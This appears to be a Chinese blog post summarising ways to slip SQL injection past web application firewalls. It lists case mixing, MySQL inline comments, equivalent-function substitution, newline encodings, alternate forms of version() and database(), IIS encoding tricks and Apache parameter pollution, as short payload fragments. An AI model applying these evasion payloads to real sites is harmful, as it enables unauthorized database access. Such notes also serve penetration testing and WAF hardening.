• sql注入绕waf小结


    WAF是一个缩写,全称是web应用防护系统(Web Application Firewall)通过一系列的安全策略(核心机制是正则匹配)来对web应用提供保护。

    WAF有硬件类和软件类,常见软件类waf:安全狗、云锁、悬镜、护卫神、云盾。  

    1.大小写绕过

    对于一些比较垃圾的waf可以尝试大小写混杂绕过。

    union -> UnIoN

    select -> SeLeCt 

    2.内联注释

    内联注释是mysql为了保持与其他数据兼容,讲mysql中的特有语句放在/*! xxxx*/中,

    这些语句在不兼容的数据库中不执行,而在mysql中自身能识别、执行。

    /*!50000*/表示数据库版本>=5.00.00的时候其中语句被执行  10000~50000,不同版本可执行的不同

    也可抓包爆破得出/*! xxxxx*/

    /**/数据库注释

    可以在语句中混杂/*xxxx*/  其中可以是数字、字母、字符。

    3.替换添加

    在语句被过滤掉时,可以尝试替换成等价的函数或者添加字符绕过(比如内联)

    当order 被过滤掉时可以替换为 group

    group_concat

    用concat替换,因为concat每次只能出一条数据所以需要配合limit 

     也可以在concat前加上 ` (反引号)

    union select 

    %0a为换行 %0d为回车

     

     

     使用垃圾数据绕过

     夹杂distinct

     利用all

    from被过滤

    可以使用科学计数法绕过

     

     使用 { }

     x可为字母或数字与字母组合

    information_schema.tables

    `information_schema.tables`  information_schema/**/.schemata

    `information_schema`.tables  table_name == @b:=`table_name`

    user()

    user() =current_user = user/**/(/**/) = user-- (1)%0a()

    version()

    version() = `version`() = @@version= select name_const(version(),1),name_const(version(),1))x

    database()

    database()=(database/*!12345()*/)=convert(database/*!44444(*/),binary)

    4.容器特性

    IIS 传参 s%e%l%e%c%t -> select

    apache hpp  ?id=1/*&id=2#*/ 

    接收的其实为第二个传参id=2 第一个被忽略

     

     

  • 相关阅读:
    springmvc结合freemarker,非自定义标签
    springmvc的ModelAndView的简单使用
    tomcat无法正常启动的一个原因
    通过springmvc的RequestMapping的headers属性的使用
    springmvc入门demo
    Redis的入门Demo(java)
    Ubuntu18.0.4查看显示器型号
    APS审核经验+审核资料汇总——计算机科学与技术专业上海德语审核
    Java连接GBase并封装增删改查
    SpringMVC源码阅读:异常解析器
  • 原文地址:https://www.cnblogs.com/yiyegugu/p/14875805.html
Copyright © 2020-2023  润新知